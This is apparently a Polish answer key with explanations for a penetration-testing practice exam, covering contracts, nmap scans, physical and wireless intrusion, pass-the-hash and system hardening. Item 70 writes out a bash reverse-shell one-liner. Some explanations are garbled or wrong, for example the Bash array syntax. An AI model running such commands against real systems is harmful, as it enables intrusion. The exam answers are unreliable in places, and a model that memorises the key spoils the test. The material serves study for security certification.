1. B. Umowa o zachowaniu poufności (NDA) to umowa prawna, która określa, jakie poufne informacje mogą być udostępniane, a jakie nie mogą być udostępniane. W większości umów dotyczących testów penetracyjnych umowa NDA określa, że tester nie może ujawniać wyników testu nikomu poza samym klientem. SOW to formalny dokument określający zakres testu penetracyjnego. MSA określa warunki, które będą regulować przyszłe umowy. Zamówienie zakupu to wiążąca umowa zakupu od dostawcy.

2. A. Najprawdopodobniej poprosisz klienta o podpisanie zamówienia. Zamówienie zakupu to wiążąca umowa zakupu od dostawcy. Po złożeniu zamówienia Twoja organizacja może uzasadnić poświęcenie czasu i pieniędzy na określenie SOW i NDA dla zaangażowania. Ponieważ klient zasadniczo „próbuje" Twoje usługi, umowa MSA nie byłaby jeszcze wymagana, chociaż może być w przyszłości.

3. A. Główna umowa serwisowa (MSA) to umowa, w której obie strony zgadzają się na większość warunków, które będą obowiązywać w przyszłych umowach. Dzięki zdefiniowaniu tych warunków w MSA przyszłe umowy są znacznie łatwiejsze i szybsze do zawarcia. Zamówienie zakupu to wiążąca umowa zakupu od dostawcy. SOW to formalny dokument określający zakres testu penetracyjnego. Umowa o zachowaniu poufności określa, co każda ze stron umowy może ujawnić stronom trzecim.

4. B i E. Jako pracownik firmy ochroniarskiej prawdopodobnie zostaniesz poproszony przez swojego pracodawcę o podpisanie umowy o zachowaniu poufności (NDA) i umowy o zakazie konkurencji. Umowa NDA określa, co każda ze stron umowy może ujawnić stronom trzecim. Twój pracodawca prawdopodobnie nie chce, abyś ujawniał poufne informacje swoim konkurentom. Umowa o zakazie konkurencji wymaga, abyś zgodził się nie pracować dla konkurencji lub bezpośrednio konkurować z pracodawcą w przyszłej pracy.

5. A i B. Alternatywy dla SOW stosowane przez rząd federalny USA obejmują oświadczenie o celach (SOO) i oświadczenie o wydajności pracy (PWS). Zamówienia zakupu i umowy o zakazie konkurencji nie są zazwyczaj używane jako alternatywa dla Zakresu Prac.

6. C. Zauważ, że nazwa hosta urządzenia w sekcji Nazwy hostów > Nazwa zaczyna się od Androida. Z tego można rozsądnie wywnioskować, że urządzenie jest najprawdopodobniej telefonem komórkowym lub tabletem z systemem operacyjnym Android.

7. C. Zauważ, że to urządzenie działa pod kontrolą systemu Windows Server 2012 i ma otwarty port 53, który jest domyślnym portem serwera DNS. Można więc wnioskować, że ten serwer jest kontrolerem domeny. Rola Active Directory na serwerze Windows wymaga roli DNS. Chociaż rola DNS może znajdować się na innym serwerze członkowskim, usługa Active Directory jest prawie zawsze instalowana na tym samym serwerze, co rola DNS.

8. E. Żadna z odpowiedzi wymienionych w tym pytaniu nie może być racjonalnie wywnioskowana z informacji wyświetlanych w Zenmap. Wiesz, że jest to serwer Windows i najprawdopodobniej jest to kontroler domeny, ale z podanych informacji nie możesz wywnioskować wiele więcej.

9. A. Przechwytywanie banerów to proces ręcznego łączenia się z urządzeniem, takim jak serwer WWW, przy użyciu narzędzia takiego jak klient Telnet lub Ncat i używania wyświetlanych informacji do odcisku palca urządzenia.

10. B i D. W tym przykładzie na urządzeniu działa serwer WWW na portach 80 i 443. Porty 515, 631 i 9100 są używane do drukowania w sieci.

11. A. Nurkowanie w śmietniku ma miejsce, gdy atakujący przeszukuje śmieci organizacji docelowej w poszukiwaniu poufnych informacji.

12. A. Ponieważ serwerownia jest chroniona przez stosunkowo niewyszukany mechanizm blokujący, tester penetracji może otworzyć zamek w celu uzyskania dostępu, zakładając, że posiada niezbędne umiejętności w zakresie otwierania zamków. Należy pamiętać, że należałoby to zrobić w obszarze bez nadzoru lub ruchu pieszego, ponieważ może to zająć trochę czasu.

13. B. Obejście zamka ma miejsce, gdy atakujący uniemożliwia działanie mechanizmu blokującego drzwi. Na przykład można to zrobić, umieszczając taśmę na klapce blokującej, tak jak to zrobiono w tym scenariuszu.

14. D. Obejście czujnika wyjścia ma miejsce, gdy atakujący manipuluje czujnikiem wyjścia, aby otworzyć drzwi. W tym scenariuszu poruszające się sprężone powietrze z odpylacza jest znacznie zimniejsze i gęstsze niż otaczające powietrze, co powoduje, że czujnik wyjścia sądzi, że ktoś wychodzi z budynku i otwiera drzwi.

15. C. Klonowanie identyfikatora ma miejsce, gdy osoba atakująca wykonuje kopię ważnej karty dostępu w celu wejścia do obiektu. Kopiując podpis RFID ważnej karty, tester penetracyjny w tym scenariuszu może użyć fałszywej karty, aby uzyskać dostęp do obiektu organizacji docelowej przy użyciu poświadczeń upoważnionego pracownika.

16. A i B. W tym przykładzie narzędzie nmap zostało użyte do uruchomienia skanowania TCP SYN. Do uruchomienia tego rodzaju skanowania można użyć poleceń nmap 10.0.0.1 i nmap 10.0.0.1 –sS.

17. B. W tym przykładzie narzędzie nmap zostało użyte do uruchomienia skanowania połączenia TCP. Do uruchomienia tego rodzaju skanowania można użyć polecenia nmap 10.0.0.1 –sT. Zauważ, że dane wyjściowe polecenia wyglądają prawie identycznie jak dane wyjściowe skanowania TCP SYN.

18. C. W tym przykładzie narzędzie nmap zostało użyte do uruchomienia skanowania UDP. Do uruchomienia tego rodzaju skanowania można użyć polecenia nmap 10.0.0.1 –sU. Zauważ, że dane wyjściowe polecenia wyglądają prawie identycznie jak dane wyjściowe skanowania TCP SYN; jednak zawiera listę portów UDP zamiast portów TCP.

19. A. W tym przykładzie narzędzie nmap zostało użyte do uruchomienia skanowania portu TCP ACK. Do uruchomienia tego rodzaju skanowania można użyć polecenia nmap 10.0.0.1 –sA.

20. A. W tym przykładzie narzędzie nmap zostało użyte do uruchomienia skanowania TCP SYN. Dodano jednak opcję –v, aby zwiększyć szczegółowość danych wyjściowych.

21. B. Pisemne sprawozdanie z ustaleń zawiera bardzo wrażliwe informacje i dlatego powinno się z nim obchodzić w bezpieczny sposób. Nie należy go przechowywać w sposób, który pozwalałby na jego łatwą kradzież. W tym scenariuszu zapisanie pliku na zaszyfrowanym dysku flash i przechowywanie go w zabezpieczonej szafce utrudniłoby kradzież raportu niż inne wymienione opcje.

22. C. Pisemny raport z ustaleń zawiera bardzo wrażliwe informacje i dlatego należy go bezpiecznie usunąć. Nie należy go usuwać w sposób, który pozwalałby na jego kradzież lub rekonstrukcję. W tym scenariuszu wyczyszczenie dysku znacznie utrudni odzyskanie plików z dysku.

23. D. Pisemny raport z ustaleń zawiera wysoce wrażliwe informacje i dlatego należy go bezpiecznie usunąć. Nie należy go usuwać w sposób, który pozwalałby na jego kradzież lub rekonstrukcję. W tym scenariuszu niszczenie dokumentów znacznie utrudni odzyskanie danych z raportów.

24. A. Pisemny raport z ustaleń zawiera bardzo wrażliwe informacje i dlatego należy go bezpiecznie usunąć. Nie należy go usuwać w sposób, który pozwalałby na jego kradzież lub rekonstrukcję. W tym

scenariuszu fizyczne zniszczenie niedrogich dysków flash znacznie utrudni odzyskanie danych z raportów.

25. B. Pisemny raport z ustaleń zawiera bardzo wrażliwe informacje i dlatego należy go bezpiecznie usunąć. Nie należy go usuwać w sposób, który pozwalałby na jego kradzież lub rekonstrukcję. W tym scenariuszu fizyczne zniszczenie dysków optycznych znacznie utrudni odzyskanie danych z raportów.

26. B. Ustawa Sarbanesa-Oxleya ustanawia standardy dla notowanych na giełdzie spółek amerykańskich w odniesieniu do polityk, standardów i kontroli bezpieczeństwa. Na przykład ustanawia standardy dostępu do sieci, uwierzytelniania i bezpieczeństwa.

27. D. FIPS 140-2 to amerykański rządowy standard bezpieczeństwa, który certyfikuje moduły kryptograficzne.

28. C. W tym scenariuszu zabrakło czasu na poznanie docelowych odbiorców testu penetracyjnego. Należy poświęcić czas z klientem na poznanie jego organizacji, celów testu i tak dalej. Dopiero wtedy należy utworzyć zakres.

29 4. D. W tym scenariuszu poufność ustaleń nie była utrzymana. Wpis na blogu ujawnił zbyt wiele informacji o kliencie. Rozwiązanie problemów wykrytych podczas oceny może zająć klientowi tygodnie, a nawet miesiące. Publikując wyniki publicznie, narażasz klienta na potencjalne ataki.

30. A i C. Częścią procesu ustalania zakresu jest ustalenie, czy test penetracyjny oceni podatność organizacji na konkretną znaną lukę lub czy powinna zbadać nieznane luki. Ponieważ jest to test zewnętrznej czarnej skrzynki, klient prawdopodobnie nie zapewni kont użytkowników ani fizycznego dostępu do swojej placówki.

31. D. Wyliczając sieć docelową podczas testu penetracyjnego białej skrzynki, prawdopodobnie zbierzesz wiele informacji. Na przykład prawdopodobnie będziesz chciał wyliczyć wszystkie podsieci, hosty i domeny w sieci.

32. D. Wyliczając sieć docelową podczas testu penetracyjnego białej skrzynki, prawdopodobnie zbierzesz wiele informacji. Na przykład prawdopodobnie będziesz chciał wyliczyć wszystkie konta użytkowników i grup, które można wykryć. Będziesz także chciał wyliczyć wszelkie udziały sieciowe, które można zidentyfikować.

33. E. Wyliczając sieć docelową podczas testu penetracyjnego białej skrzynki, prawdopodobnie zbierzesz bardzo dużo informacji. Na przykład prawdopodobnie będziesz chciał wyliczyć wszystkie strony internetowe, aplikacje, usługi i tokeny używane w sieci.

34. C. Ograniczenie skanowania w celu użycia minimalnej przepustowości znacznie spowolni proces skanowania. Jednak sprawi to również, że skany będą mniej widoczne dla urządzeń IDS/IPS, a także da im czas na dokładniejsze odciski palców urządzeń sieciowych.

35. B. Planując skanowanie w porze dnia, kiedy niewiele osób jest w pracy, można zminimalizować wpływ na dostępną przepustowość sieci dla ruchu produkcyjnego, a także uniknąć wykrycia przez wewnętrznych administratorów sieci.

36. C. To jest przykład exploita fałszowania przełącznika, który jest używany do przeskakiwania sieci VLAN. W przypadku exploita fałszowania przełącznika karta sieciowa testera jest ponownie konfigurowana w celu emulowania portu trunkingowego w przełączniku sieciowym. W ten sposób prawdziwy przełącznik pomyśli, że musi przekazywać ruch ze wszystkich sieci VLAN do urządzenia testera.

37. A. W ataku Karma tester używa specjalnego urządzenia bezprzewodowego do nasłuchiwania żądań SSID z innych urządzeń, a następnie odpowiada, jakby był to żądany punkt dostępu. Ofiary myślą, że są podłączone do legalnej sieci, ale w rzeczywistości są połączone bezpośrednio z testerem. Tester zazwyczaj przekazuje ruch ofiar do Internetu, więc wszystko wydaje się normalne. Pozwala to testerowi na kontrolowanie ruchu ofiary i przechwytywanie poufnych informacji.

38. B i C. W typowym ataku złego bliźniaka tester najpierw przeprowadza atak deauthentication w celu odłączenia urządzeń bezprzewodowych ofiar od rzeczywistej sieci. Urządzenia te następnie automatycznie łączą się ponownie z bezprzewodowym punktem dostępowym testera, który został skonfigurowany z tym samym identyfikatorem SSID, co organizacja docelowa. Tester prawdopodobnie zwiększy wzmocnienie w radiach złego bliźniaka, ponieważ większość bezprzewodowych interfejsów sieciowych domyślnie wybierze punkt dostępu z najsilniejszym sygnałem.

39. D. W ataku fragmentacji bezprzewodowej z przechwyconego pakietu wyodrębniana jest niewielka ilość materiału klucza. Następnie do punktu dostępowego wysyłany jest pakiet ARP o znanej zawartości. Jeżeli pakiet jest wysyłany z powrotem przez punkt dostępowy, to ze zwróconego pakietu można uzyskać jeszcze więcej informacji o kluczowaniu. Jeśli ten proces będzie się powtarzał w kółko, cały klucz bezprzewodowy może zostać ujawniony.

40. B. W ataku polegającym na zbieraniu danych uwierzytelniających fałszywa strona internetowa, która wygląda jak legalna strona internetowa, jest wykorzystywana do przechwytywania nazw użytkowników i haseł ofiar. W kontekście exploita bezprzewodowego można to osiągnąć za pomocą fałszywego portalu przechwytującego, który wygląda jak legalny portal przechwytujący, który przechwytuje informacje ofiar.

41. A i C. Podczas deklarowania zmiennej PowerShell używa składni $nazwa_zmiennej = wartość. Ruby używa tej samej składni podczas deklarowania zmiennej globalnej.

42. C. Podczas deklarowania zmiennej lokalnej Ruby używa składni _nazwa_zmiennej = wartość.

43. C i D. Podczas deklarowania tablicy zarówno Ruby, jak i Python używają tej samej składni: nazwa_tablicy = [wartość1, wartość2, wartość3, ...].

44. B. Podczas deklarowania tablicy Bash używa następującej składni: nazwa_tablicy = (wartość1, wartość2, wartość3, ...).

45. A. Podczas deklarowania tablicy PowerShell używa następującej składni:

$nazwa_tablicy = @(wartość1, wartość2, wartość3, ...).

46. A. Aby wzmocnić komunikację sieciową w systemie komputerowym z systemem Windows, należy poprawnie skonfigurować zaporę systemu Windows. Najpierw zamknij wszystkie porty, aby upewnić się, że nic nie zostanie przypadkowo otwarte. Następnie otwórz porty tylko dla tych usług, które zostały zainstalowane i są potrzebne w systemie.

47. A i C. Aby wzmocnić system komputerowy z systemem Windows, należy rozważyć zainstalowanie dodatkowej pamięci RAM systemu, a następnie wyłączyć plik stronicowania systemu Windows. Zapobiega to zapisywaniu poufnych danych, które powinny być przechowywane tylko w niezaszyfrowanym formacie w pamięci RAM o plik stronicowania dysku twardego. Powinieneś także wyłączyć wszelkie niepotrzebne usługi.

48. D. Aby wzmocnić system Windows, należy wyłączyć automatyczne uruchamianie. Pomaga to zapobiegać instalowaniu złośliwego oprogramowania w systemie po włożeniu do systemu zainfekowanego dysku optycznego lub dysku USB.

49. A. Aby wzmocnić system serwerowy oparty na Linuksie, należy upewnić się, że uruchomiona jest zapora na hoście, włączając i konfigurując iptables. Najpierw zamknij wszystkie porty sieciowe w zaporze, a następnie otwórz tylko te, które są wymagane przez określone usługi działające w systemie.

50. B. Aby wzmocnić system serwerów oparty na Linuksie, upewnij się, że używasz SSH zamiast Telnet do zdalnego dostępu do systemu. SSH szyfruje cały ruch sieciowy między serwerem SSH a klientem SSH. Z drugiej strony Telnet przesyła wszystkie dane w postaci zwykłego tekstu, w tym dane uwierzytelniające.

51. A i D. Ponieważ test będzie obejmował zarówno sieć organizacji docelowej, jak i usługę świadczoną przez zewnętrznego dostawcę SaaS, przed wykonaniem testu penetracyjnego należy uzyskać pisemną zgodę obu podmiotów. Nieuzyskanie któregokolwiek z nich może narazić Cię na ściganie i/lub postępowanie sądowe.

52. B i E. Zakres tego zaangażowania w tym scenariuszu jest ograniczony do wewnętrznej infrastruktury sieciowej. Dostawca usług internetowych organizacji, Amazon Web Services i sieci bezprzewodowe ich sąsiadów są własnością stron trzecich i dlatego są uważane za nieobjęte zakresem.

53. A i C. Ponieważ jest to test szarej skrzynki, możesz spodziewać się ograniczonego dostępu do sieci i ograniczonego dostępu do pamięci. Zasadniczo można oczekiwać, że poziom wiedzy i dostępu będzie podobny do tego, jaki miałby przeciętny pracownik w organizacji.

54. D. Zasady zaangażowania obejmują:

■ Harmonogram, w którym zostaną przeprowadzone testy

■ Jakie lokalizacje, systemy, aplikacje i inne potencjalne cele mają zostać uwzględnione/wykluczone?

■ Wymagania dotyczące przetwarzania danych dla zebranych informacji

■ Jakich zachowań można oczekiwać od celu?

■ Jakie zasoby są przeznaczone na test

■ Wszelkie kwestie prawne, którymi należy się zająć

■ Kiedy/jak nastąpi komunikacja

■ Z kim się kontaktować w przypadku wydarzeń

■ Kto może zaangażować się w zespół ds. testów penetracyjnych?

55. D. Testy czarnoskrzynkowe, czasami nazywane testami wiedzy zerowej, mają na celu odtworzenie tego, z czym może spotkać się atakujący. Testerzy nie mają dostępu ani informacji o środowisku, a zamiast tego muszą zbierać informacje, odkrywać luki w zabezpieczeniach i przechodzić przez infrastrukturę lub systemy, tak jak zrobiłby to atakujący.

56. B i E. Urządzenia mobilne stanowią istotną słabość bezpieczeństwa w nowoczesnych sieciach. Wśród wielu problemów związanych z urządzeniami mobilnymi, dwa, z których penetrator powinien zdawać sobie sprawę, że są one aktualizowane w niespójny sposób. Jest to mniejszy problem w przypadku urządzeń Apple, ponieważ mają one kontrolę nad sprzętem i oprogramowaniem. Jest to jednak poważny problem w przypadku urządzeń z Androidem. Gdybyś miał sprawdzić poziom

aktualizacji grupy urządzeń z Androidem prawdopodobnie nie znajdziesz dwóch takich samych. Ponadto niektórzy użytkownicy rootują lub jailbreakują swoje urządzenia, aby mogli instalować aplikacje poza zatwierdzonymi kanałami sklepu. To sprawia, że te urządzenia są podatne na złośliwe oprogramowanie.

57. D i E. Urządzenia IoT, takie jak inteligentne urządzenia, telewizory itd., mają zwykle najsłabsze nieodłączne zabezpieczenia. Nie zostały zaprojektowane z myślą o bezpieczeństwie, są trudne w zarządzaniu, a dostawcy rzadko publikują aktualizacje zabezpieczeń. Urządzenia wbudowane stosowane w przemysłowych urządzeniach sterujących mają te same słabości.

58. C i D. Największym zagrożeniem dla systemów POS w tym scenariuszu jest to, że są one narażone na działanie Internetu i pracują na nieobsługiwanym (a zatem wysoce podatnym) systemie operacyjnym. Klient powinien odizolować systemy POS we własnej podsieci z dala od Internetu. Powinni również zaktualizować swój sprzęt i oprogramowanie do nowszych wersji, aby wyeliminować ryzyko związane z uruchamianiem starego systemu operacyjnego.

59. A. Największym zagrożeniem bezpieczeństwa związanym z biometrycznym czytnikiem linii papilarnych jest fakt, że może on zostać oszukany przez fałszywy odcisk palca. W jednym z odcinków programu telewizyjnego Pogromcy mitów sprzed kilku lat obsada zdołała pokonać czytnik linii papilarnych, podnosząc odcisk palca upoważnionego użytkownika z kubka. W tym scenariuszu prawdopodobnie powinieneś zalecić klientowi uaktualnienie do systemu uwierzytelniania opartego na rozpoznawaniu twarzy, ponieważ okazało się, że jest trudniejszy do oszukania.

60. A. Internet rzeczy (IoT) odnosi się do sieci fizycznych produktów i urządzeń, które łączą się z Internetem. Producenci i deweloperzy chcą minimalizować koszty, aby zwiększyć swoje zyski. Dlatego bezpieczeństwo często nie jest kluczową cechą produktu lub urządzenia. Tak więc, jak każde inne urządzenie w sieci, urządzenia IoT mogą mieć luki w zabezpieczeniach i mogą być przedmiotem ataków sieciowych.

61. A. Tester zaimplementował atak zimnego rozruchu. Uruchamiając Linuksa z dysku flash, była w stanie ominąć wiele mechanizmów bezpieczeństwa Windows i uzyskać dostęp do plików kluczy.

62. D. Port JTAG jest zaimplementowany w płytach głównych niektórych producentów do celów diagnostycznych i testowych. Przy odpowiednim sprzęcie tester penetracyjny może podłączyć się do tego portu i przechwytywać dane bezpośrednio z działającej płyty głównej.

63. B. Ryzyko związane z włączonymi połączeniami konsoli szeregowej na urządzeniach sieciowych polega na tym, że administratorzy sieci zwykle nie zabezpieczają ich odpowiednio. Ponieważ można uzyskać do nich dostęp tylko za pomocą bezpośredniego połączenia punkt-punkt, nie konfigurują ich tak, aby wymagały uwierzytelniania. Korzystanie z personifikacji ułatwia testerowi penetracji dostęp do urządzenia, o ile może uzyskać do niego fizyczny dostęp.

64. A. Zdalne wywoływanie procedur (RPC)/Distributed Component Object Model (DCOM) jest używany w systemach Windows i umożliwia zdalne wykonanie kodu w innym systemie Windows.

65. A. PsExec to narzędzie wiersza poleceń, które jest domyślnie instalowane na Systemy Windows, które umożliwiają interaktywne wykonywanie procesów w innych systemach Windows.

66. B. W ataku brute-force na poświadczenia tester będzie próbował zalogować się do aplikacji przy użyciu każdej nazwy użytkownika i hasła. Hydra to brutalne narzędzie, które może łamać systemy za pomocą zgadywania haseł.

67. C. W tym scenariuszu tester używa modułu Metasploit PSEXEC. Korzystając z Metasploit, tester może wykorzystać system i wykonać zrzut skrótu w celu wyodrębnienia skrótów systemu. Tester może następnie użyć modułu PSEXEC, aby przekazać hash do innego systemu w sieci. Przykład pokazuje, jak ustawiona jest opcja SMBPASS i wykonywany jest atak typu pass-the-hash, w wyniku którego uzyskuje się dostęp do zdalnego systemu w sieci. Atak typu pass-the-hash to exploit, w którym tester pobiera zaszyfrowane dane uwierzytelniające użytkownika i bez ich łamania ponownie wykorzystuje je, aby oszukać system uwierzytelniania w celu utworzenia nowej uwierzytelnionej sesji w tej samej sieci.

68. C. Metasploit jest uruchamiany przez uruchomienie msfconsole z wiersza poleceń. Polecenie msfconsole znajduje się w katalogu /usr/share/metasploit-framework/ msfconsole

69. B. Mimikatz to narzędzie typu open source, które umożliwia przeglądanie informacji uwierzytelniających z lokalnego urzędu zabezpieczeń systemu Windows Subsystem Service (LSASS) korzystający z modułu sekurlsa, który zawiera hasła w postaci zwykłego tekstu i bilety Kerberos, które można następnie wykorzystać do ataków typu pass-the-hash i pass-the-ticket. Jednak w tym scenariuszu pytanie brzmi „przez drut". Mimikatz to jedyne narzędzie, którego nie można użyć w ten sposób.

70. A. Odwrotna powłoka otwiera kanał komunikacyjny na porcie i czeka na połączenia przychodzące. Maszyna klienta działa jako serwer i inicjuje połączenie z maszyną testera. Robi się to za pomocą:

bash -i >& /dev/tcp//443 0>&1

Biorąc pod uwagę opcje, A jest najlepszą opcją. B i C nie będą działać, ponieważ używają, a nie . Opcja D jest niepoprawna, ponieważ używa niewłaściwej składni.

71. C. Usługa wykrywania (-sV) będzie próbowała pobrać banery z usług; jednak opcja --reason dostarczy uzasadnienia, dlaczego nmap wybrał dany stan portu.

72. B. Skrypt http-enum to NSE dołączony do instalacji nmap. Skrypt ten wyliczy foldery WWW powszechnie występujące w typowych usługach aplikacji WWW.

73. B. Ataki kolizyjne są powodowane przez dwa wejścia generujące tę samą wartość skrótu.

74. B. Stored to prawidłowa odpowiedź.

75. C. ORA jest poprawnym przedrostkiem dla błędów bazy danych Oracle.

76. D. Internet Control Message Protocol (ICMP) służy do komunikacji komunikatów między hostami przez sieć i używa różnych typów (np. typ: 3 – miejsce docelowe nieosiągalne) i kodów (tj. kod: 10 – host administracyjnie zabroniony) w celu rozwiązania problemów w ścieżce komunikacyjnej.

77. A. Wireshark dostarczy ci wersję typu STP (STP, RSTP lub MST) poprzez inspekcję jednostek danych protokołu mostu (BPDU), które są ramkami aktualizacji, które są rozsyłane grupowo między przełącznikami w sieci co jakiś czas aby określić, czy port jest w stanie przekazywania lub blokowania (zapobiega pętlom) oraz określić most główny podczas procesu wyboru.

78. B. Wielokrotne użycie polecenia ping przeciwko nieistniejącym hostom wygeneruje wiele IV z AP jako hostem, ale nigdy nie zostaną zidentyfikowane, a żądanie będzie nadal rozprzestrzeniać się w całej sieci.

79. D. PMK wywodzi się ze wszystkich opcji, z wyjątkiem nazwy hosta urządzenia. Brakujące wartości to 256 (długość PMK) i 4096 (liczba iteracji haszujących).

80. A. Deauthentication mówi klientowi, aby odłączył się od sieci bezprzewodowej. Zalecanym działaniem byłoby dezaktywowanie jednego klienta na raz, dopóki nie przechwycisz uścisku dłoni, ponieważ pomaga zachować ciszę w swoim podejściu i byłoby metodą, która wywołałaby najmniejszy opór ze strony klientów podczas zaangażowania.